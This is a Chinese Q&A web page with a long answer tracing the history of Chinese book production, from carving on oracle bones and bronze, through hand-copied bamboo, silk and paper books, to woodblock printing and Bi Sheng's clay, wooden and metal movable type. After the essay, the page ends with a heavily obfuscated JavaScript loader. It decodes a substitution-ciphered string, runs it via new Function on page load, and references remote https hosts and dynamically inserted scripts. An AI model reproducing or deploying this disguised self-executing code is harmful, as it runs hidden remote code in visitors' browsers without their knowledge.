我国古代刻书的四种生产方式

2025-02-26 04:14:39
推荐回答(1个)
回答1:

1、印制书籍出现前的书籍生产方法

  我国印制书籍大约起于唐,成于五代,盛于两宋,旁及辽、金、西夏,沿袭于元、明、清。但在唐以前,我国书籍的制作方法大概依书籍的制作材料而定,先后有过刀刻、铸造、笔写等不同的方法。

  初期书籍之一的甲骨文书,从现存的甲骨文片看,其上面的文字都是用刀刻的。为什么非要用刀刻?这大概取决于这种材料的质地。我们知道,骨头是有一定硬度的,而吃墨的能力却不怎么强,如果用笔写,可能不会保存很久,因而只好用刀刻。用刀刻可能还有另外的原因,那就是刀刻的笔道纤细匀称。如果用笔写,那时有没有那么细的笔还是个问题。一块龟甲或一块兽骨,没有多大的平面。除掉占卜时形成的卜兆裂纹,能着字的地方所剩无几,如果笔尖稍粗,根本无法写下。这大概也是采用刀刻的原因之一。刀刻的字迹既能保持久远,又能笔道匀整,又适应甲骨仅有的空余平面,又有一定的硬度,所以我们见到的甲骨文书绝大多数都是用刀刻的。有的刻得十分纤细,像陕西周原地区出土的西周甲骨,其字迹要用五倍的放大镜才能看清,可见那时的微雕技术已经相当精湛了。

  初期书籍之二的青铜器铭文,据现在所知道的,其上面的文字有两种形式:一种是凸出来的阳纹,一种是凹进去的阴纹。两种纹路不同,它们的制作方式也不同。凹进去的阴纹文字比较好理解,那就是在事先设计制作好的青铜器上,如果什么时候想在上面镌刻文件或事件,都可以随时请人操刀镌刻就是了。这种用刀在青铜器上直接镌刻阴纹文字,比在青铜器上铸字要方便得多,自由得多。在青铜器上铸字,事先就要有周密的计划。有的在设计时大概就不想当作器具用,而是想铸字,以文字意义为主的。例如郑国、晋国铸造的刑鼎,目的就是为了公布法律,晓谕全国。这类青铜器物上面的文字,在制造浇铸模子时就要考虑周详。一份文件,一个事件,一共有多少字,如何布局,乃至每个字的锼〔sou搜〕锓〔jian坚〕,都要精心设计,精心制作。而且模子内壁的阳阴纹字迹必须是凹进去或凸出的反字,浇铸出来的才是凸起或凹进的阳纹或阴纹正字。这就牵涉到模子内壁上阴阳纹反字究竟是怎么弄上去的问题。正写反贴双勾再锼锓,自然是我们现代人的思维。古人是不是这样做,不敢肯定。考古学界有人根据青铜器铭文中常用虚字的酷似,推测青铜器铸模内壁的阴阳纹反字,可能是一个一个事先做好的阳阴纹正字压挤出来的。这种推想十分大胆,假如这种推想能够成立,那就表明我们的祖先老早就懂得制造活字的原理了。当然这种活字尚不是为了排版印刷,而是为了铸造青铜器铭文。

  初期书籍之三是石质文书。我国自周秦以来,以玉片、石片、石鼓、摩崖、碑、碣、套帖等形式刻、写的石质文书,也可以说是浩如烟海。归纳起来,往石质材料上着附文字,就现在所知也只有两种办法:一种是书写,一种是刀刻。书写者见于侯马盟书。1965年在山西侯马春秋晚期晋国遗址出土的盟书,都是以朱色或墨色书写在玉片或石片上。其中最大的长32厘米,宽3.8厘米,上尖下方,形态规整。这种盟书为什么要用笔写而不用刀刻,道理说不清楚。也许因为侯马盟书是社会急剧变化的产物。在中国古代,大凡需要发誓定盟,总是事有急需,发于义愤。并且盟书要一式两份,一份留作证据,藏于盟府,以备查验;一份沉于河底或埋于地下,以示永不背盟。事急,又要两份,刀刻可能不适应,故采用手写。不过这只是推测,不能算是科学结论。除侯马盟书以外,传世的所有石质文书,包括摩崖石刻、碑、碣、历代所刻儒家石经、释家石经、道家石经等,全部都是用刀刻的。这些刀刻的石质文书,不同于侯马盟书的一份要藏于盟府,一份要沉于河底或埋于地下,而是要立在光天化日之下,或本来就是依山刻石,风吹日晒自是家常便饭。在这种情况下,如果是用笔在石质上写字而不是用刀在石质上刻字,时间一长,或经过雨水的冲洗,字迹就会模糊不清,甚至是字迹全无。所以古代的石质文书绝大多数都是用刀刻成的。

  随着书籍的发展,特别是随着正规书籍的出现和发展,以前的甲骨、青铜器、玉、石材料等都不再适应需要,竹木简便广泛地被采用为书籍的制作材料。这种材料不同于以前的甲骨、青铜器和石头,究竟采取什么办法将文字着附在竹木简上,这是书籍生产方法上的重大课题。历来出土的大量竹木简,证明了竹木简书都是用笔写成的。过去有所谓“刀笔吏”的说法,说竹木简书是用刀刻成的,这完全是一种误解。事实上刀、笔、墨、砚要预备齐全,才能书字于竹木简上。笔、墨、砚的功能不言而喻,谁都知道。唯有刀的用途,过去说法不一。一种说法,刀就是笔,用刀笔在竹木简上刻字。这早已为事实所推翻。还有一种说法,道破了刀的用途。我们大家都知道,现在的小学生,甚至包括初中学生,每天上学,他们的书包里所带的铅笔盒中,必带有铅笔、笔刀和橡皮。 目的是当写了错字时,就用橡皮将错字擦掉,而后改成正确的字。竹木简书盛行时期,之所以要把刀、笔、墨、砚同时备齐,同样是各有各的用途。其中的刀的用途就类乎今天中小学生所用的橡皮。当在竹木简上写了错字时,就及时用刀子刮去,然后再写上正确的文字。过去人将“刀笔”连读,解释为刀子笔,进而说竹木简书是用刀子刻的,是完全没有根据的。事实上竹木简书都是用笔写成的。

  在竹木简书盛行的同时,丝织品中的缣帛也是书籍的制作材料之一。用这种材料制作书籍,就无法像甲骨、青铜器、玉石那样,其文字可以铸造,可以刀刻,而只能是用笔书写。这道理很简单,用刀在缣帛上刻字,那根本是不可想象的。同样,像后世印制纸书那样,将文字印在缣帛上,也是不可想象的。所以帛书只能是用笔书写而成,不可能用其他的办法将文字着附上去。事实上,历来出土的帛书,也确实都是用笔书写而成的。

  纸张取代竹木简、缣帛而成为书籍的普遍制作材料之后,不但改变了竹木简笨重,缣帛贵重的弊病,而且由于纸张比竹木简、缣帛更易于着墨,所以自东汉至五代上千年的时间里,纸书多是用笔抄写而成。又由于纸张具有特殊的吸墨能力和柔软,所以又承担起自唐代开始的印制书籍的任务。雕版印制书籍中经五代的缓慢发展,至两宋而极盛,标志着书籍的生产方法发生了划时代的变革,人类文明也跨进了新的历史时期。

  (2)印制书籍的出现与发展

  我国用雕版印刷的办法来印制书籍,大概在唐朝已经开始。这无论从文献记载或实物留存都能得到证实。但印书之始,绝不意味着雕版印刷的技术到唐朝才发明,反而表示这种技术在唐以前应该早已出现。到了能够印制整部的书籍,则应该是这种技术的进一步发展了。但长期以来,参与讨论中国雕版印刷术发明问题的中外古今学者,却多以印书之始来论证雕版印刷术的发明,结果不是提前,就是靠后,始终得不出一致的意见和科学的结论。早的有东汉发明说,东晋咸和(公元326—334年)发明说,六朝(公元222—584年)发明说,隋朝(公元581—617年)发明说,唐朝(公元618—906年)发明说;晚的有五代(公元907—959年)发明说,北宋(公元960—1126年)发明说。时代跨度上千年。这些说法,有的因论据不足固然不能成立,有的以流存的实物为证,但不符合事物发展的自然法则,因而也不能成立。好在我们这里不是讨论印刷术的发明,我们注意的是用这种技术来生产书籍在唐朝则是史不绝书了。

  明朝有位史学家叫邵经邦(公元1491—1565年),他写了一部历史著作叫《弘简录》。在《弘简录》卷四六记载唐太宗李世民的皇后长孙氏,洛阳人,年仅36岁就不幸夭亡了,唐太宗很是悲痛。当宫女们将皇后生前所编纂的《女则》10篇呈献给皇帝时,唐太宗抚物生情,“览而嘉叹,以后此书足垂后代,令梓行之。”这里的“梓行”二字,指的就是雕版印行。这是迄今所知关于印制书籍的最早记载。长孙皇后卒于贞观十年(公元636年)的六月,印行《女则》应当就在这一年的下半年或稍后一点。表明在7世纪的上半叶,中国已经懂得用雕版印刷的办法来生产书籍了。而且生产的第一部书就是妇女著作。

  冯贽的《云仙散录》记载“玄奘以回锋纸印普贤像,施于四众,每岁五驮无余”。我们知道,唐玄奘到印度取经出发的那一年是贞观三年(公元629年),贞观十九年(公元645年)取经回国,前后经过了17年。再过19年,即麟德元年(公元664年),唐玄奘涅槃圆寂。所以他用回锋纸印刷普贤菩萨像,施于四众,应当在贞观十九年他取经回国,到麟德元年他涅槃圆寂之间。这件事情的发生,距雕印长孙皇后的《女则》仅10多年的时间,说明7世纪的上半叶,中国不仅懂得雕版印制书籍,也懂得雕版印制佛画了。

  此后,关于唐代雕印历书、字书、韵书、文集、道书、阴阳杂记等书的记载,屡见不鲜。流传于世的实物也不只一两件。像唐懿宗咸通九年(公元868年)王玠〔jie 介〕为父母祈福而雕造普施的《金刚经》、西川成都府樊赏家雕印的历书、成都府成都县龙池坊卞家印卖的梵文《陀罗尼经咒本》等,就都是至今还留存在世的雕版印刷品。特别是那件被斯坦因携走,现在庋〔gui 鬼〕藏于大英图书馆东方部的《金刚经》,可以说是世界上现存最早最完整而又相当成熟的印刷品。它用七张纸粘连而成,全长15.2尺,完整无损。卷首有释迦牟尼佛坐莲花座上,对长老须菩提等僧众说法的扉画。妙相庄严,栩栩传神。经文字体端庄凝重,刀法稳健。印纸精良,墨色精纯。古朴大方,赏心悦目。说明到9世纪中叶,我国的雕版印刷技术已经进入相当成熟的时期了。

  进入五代之后,雕版印制书籍的方法已被政府正式采纳,并且用来印制儒家经典了。从后唐长兴三年(公元932年)起,到后周广顺三年(公元953年)止,中原地区的四个不同朝代唐、晋、汉、周,在22年的时间里,由国子监连续不断地完成了《九经》的校勘和雕印工程。这是儒家经典第一次用雕版印刷的办法生产出来。或者说儒家经典的第一代版本,就是五代时期国子监出版的,监本之称也就开始于此。与此同时,《五经文字》、《九经字样》以及解释儒家经典的《经典释文》,也先后被雕版印制出来。郓州须昌(今山东东平县)人和凝,不顾别人指责,自己主持雕版印制了自己的文集,开创了版本学史上“自刻本”的先河。后蜀宰相毋昭裔,不但主持雕刻了《蜀石经》,还主持雕版印制了《九经》,还让自己的门人句〔gou勾〕中正、孙逢吉主持雕版印制了《文选》、《初学记》、《白氏六帖》等。地方政府以及民间雕印的佛经、佛画更多,道家的某些著作也被雕印出来。整个书籍的生产方法,已面临全面改革的前夜。

  进入宋代以后,书籍的生产方法便以雕版印刷为主流了。南北两宋刻书之多,雕镂之广,规模之大,流通之宽,版印之精,都堪称前所未有,后世楷模。上自中央各殿、院、廊、司、局、监,下至地方各府、州、军、县,各路茶盐司、安抚司、提刑司、转运司、公使库,各府学、州学、军学、郡斋、郡庠、学宫、頖〔pan 盼〕宫、学舍,各县县学、县斋,各地书院,私宅、家塾、书棚、书坊、书肆、书籍铺,各地寺院、道观、祠堂等等,都竞相刻书,形成了广泛的刻书网络,使书籍生产出现了空前未有的高潮。两宋以后,迭经元、明、清,旁及辽、金、西夏,书籍的生产方法多是采用这种雕版印刷,为今天留下了十分丰富的文化典籍。

  (3) 活字印刷术的发明与发展

  雕版印制书籍,比起用手抄写书籍,有无可比拟的优越性。只要雕刻一套版,你想印多少,都可以随心所欲。但这种技术必须是每一种书籍雕一套版,每套版只能印一种书籍。它只能在部数上增加,不能在种数上生新。若要生新,就只能再雕一套版。这显然是工本极大,劳师费时。这种固有的弱点,在两宋雕版印制书籍充分发展的同时,也就充分暴露出来。能否克服这种弱点,使之既省工本,又能随意生新?这是摆在当时书籍生产者面前的新课题。北宋庆历年间(公元1041—1048年),平民毕升用自己的天才和实践圆满地解决了这个问题,这就是活字印刷术的发明(图5)。

  关于毕升发明泥活字印书法,北宋沈括在他所著《梦溪笔谈》卷十八中有翔实的记载。沈括说:

  板印书籍,唐人尚未盛为之。自冯瀛王始印《五经》,已后典籍皆为板本。 庆历中,有布衣毕升又为活板。其法用胶泥刻字,薄如钱唇。每字为一印,火烧令坚。先设一铁板,其上以松脂蜡和纸灰之类冒之。欲印,则以一铁范置铁板上,乃密布字印,满铁范为一板。持就火炀之,药稍熔,则以平板按其面,则字平如砥。若止印三二本,未为简易。若印数十百千本,则极为神速。常作二铁板,一板印刷,一板已自布字,此印者才毕,则第二板已具,更互用之,瞬息可就。每一字皆有数印,如‘之’、‘也’等字,每字有二十余印,以备一板内有重复者。不用则以纸帖之,每韵为一帖,木格贮之。有奇字素无备者,旋刻之,以草火烧,瞬息可成。不以木为之者,文理有疏密,沾水则高下不平;兼与药相粘,不可取。不若燔土,用讫再火,令药熔,以手拂之,其印自落,殊不沾污。升死,其印为余群众所得,至今保藏。

  这段记载,从制字、排版、常用字的储备、生辟字的临时制作、不用时的收藏方法,以及不用木料制字的原因等,都说得清清楚楚。我们从中可以认识到,毕升发明的泥活字印书法,除了稍显原始古朴之外,其余关乎现代排字印刷的基本原理,那时几乎都已具备了。这是书籍生产方法上的又一次重大革新,闪现了现代书籍生产方法的最早火花,比德国人谷腾堡用活字排印书籍大约要早400年。可惜的是,毕升用这种泥活字排印过什么书,不见记载。实物更无流传。但按照毕升泥活字排版印书的原理,仿制泥活字,用它来实践印书,却是代有其人。周必大在南宋绍熙四年(公元1193年)根据沈括《梦溪笔谈》中的记载,在潭州(湖南长沙)仿制成了泥活字,用它排印了自己的《玉堂杂记》二十八事。这是现在所知关于用泥活字印书的最早记载。元朝定鼎前夕,忽必烈的谋士姚枢,在河南辉县教弟子杨古根据沈括的记载,也仿制了泥活字,排印《小学》、《近思录》、《经史论说》等书,用来化民成俗,提高百姓的文化水平。直到清朝道光十年(公元1830年),苏州人李瑶仍仿制出泥活字,并用它排印了《南疆绎史勘本》和《校补金石例四种》等书。道光二十四年(公元1844年),安徽泾县翟金生及其家人,经过30年的努力,仿制了10多万个泥活字,并用它排印了自己的集子《泥版试印初编》、家谱《水东翟氏宗谱》,以及他朋友黄爵滋的集子《仙屏书屋初集》等书。
在泥活字原理启发下,被毕升当年扬弃了的木活字,到元朝初期又由王桢试制成功。与此同时,还创制了转轮拣字法。王桢用自己创制的木活字,排印了自己主持纂修的大德《旌德县志》。比王桢晚20年,浙江奉化州官马称德,在任内也主持制作了10多万个木活字,并用它排印了《大学衍义》等书。与此同时,少数民族文的木活字也被制造出来,如回鹘文、西夏文木活字都已出现。至今还有西夏文木活字排印的佛经传世。新疆博物馆、敦煌艺术研究院和中国历史博物馆,还分别收藏有回鹘文木活字的实物。回鹘文不同于汉语,每个词组的字母构成不同,词组的长短也不同,因而形成的木活字长短也就不同。这种长短不一的木活字,排版技术要比一样大小的汉字木活字复杂得多。可当时被忽必烈誉为神逸俊秀的回鹘人,居然能解决这样复杂的排版技术问题,不能不说是开了拼音文字活字排版技术的先声。这是我国少数民族为中国书籍史发展做出的一大贡献。

  到了明朝,使用木活字印书的地区已普及到苏州、杭州、南京、福州、四川、云南等地。明朝用木活字印的书,有书名可考的,至今仍有百余种。崇祯十一年(公元1638年),由于形势的需要,朝廷发布的邸报,也叫作朝报,也改用木活字排印了。这可以说是开了报纸活字排印的先河。清朝,木活字已在全国通行。上至内府,下至各级衙署、书院、书局、书坊等,大都备有木活字。河北、山东、河南、江苏、浙江、安徽、江西、湖北、湖南、四川、福建、广东、陕西、甘肃等省,都曾用木活字印过书。清乾隆三十八年(公元1773年),诏求天下遗书,复出内府秘籍,并校辑《永乐大典》所见佚书,开馆编纂《四库全书》。原先打算选择其中传世极罕,又足资考镜者,先行刊印流通。无奈工程太大,于是采纳金简的建议,刻了25万多个大小不等的木活字,用来排印上述的难得之书。乾隆皇帝以为称活字不雅,便赐名“聚珍”。又因为这项工程在武英殿进行,所以将用这批木活字所印的相同规格的书,就称为《武英殿聚珍版丛书》,共收录图籍134种。这是我国历史上最大的一次木活字印书工程。

  金属活字,包括铜活字、锡活字、铅活字等。其中铜活字应用较广,现知最早铜活字印书活动是在15世纪末,即明朝的弘治年间。当时江苏的无锡、常州、苏州一带都有用铜活字排印的书籍出现。最有名的是无锡的华家与安家。弘治三年(公元1490年)华燧用铜活字摆印了《宋诸臣奏议》50册。因铜字难受水墨,印制出来的书叶,墨色浓淡极不均匀,但它却是我国现存最早的一部铜活字排印的书籍,因而显得十分珍贵。现知华燧以会通馆名义用铜活字先后排印过15种书。华燧的叔父华珵〔cheng成〕于弘治十五年(公元1502年),用铜活字排印过陆游的《渭南文集》和《剑南诗稿》。华燧的侄子华坚和华坚的儿子华镜,也用铜活字排印过《蔡中郎集》、《白氏文集》、《元氏长庆集》等。无锡除华氏外,尚有安国桂坡馆也用铜活字印书。安国字民泰,是无锡的巨富,有“安百万”之称。他用铜活字排印的书,可以考知者也有10余种。其中的正德《东光县志》,是国内现存最早用铜活字印制的地方史志。此外,福建建阳书商也用铜活字排印过《墨子》。清代,福建人林春祺,从18岁开始刻制铜活字,花了21年的时间,耗去白银20万两,制成大小铜活字40多万个,并用这套铜活字排印了顾炎武的《音论》、《诗本音》及军事丛书《水陆攻守战略秘书》等七种书籍。当然,规模最大的还要算雍正四年(公元1726年)内府用铜活字排印的《古今图书集成》,全书共一万卷,目录40卷。分六编32典,6109部。内容繁富,区分明晰,是我国著名的大型类书之一。这次铜活字印书活动,构成了我国历史上最大的金属活字印刷工程。

  锡活字,元朝人的著作中就有记载,但不见实践。清道光三十年(公元1850年),广东佛山镇有位姓唐的书商,出资一万元铸造锡活字20多万个。并于咸丰元年(公元1851年)用这套锡活字排印过马端临的《文献通考》348卷。铅活字,明朝人、清朝人都有记载,但不知印过什么书。

  用活字排版来印制书籍,在我国出现很早,但发展却很缓慢。然而它毕竟是一种新生事物,较之雕板印书具有无比的优越性,代表了书籍生产方法前进的方向,所以到了清朝晚期,随着西方铅字排印技术的传入,中国书籍的制作方法也就走上了世界铅字排印的共同道路。今天,激光照排、电脑打印等新方法不断涌现,书籍生产方法又面临一场伟大的革命,人类文明将要跨入新的历史时期。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();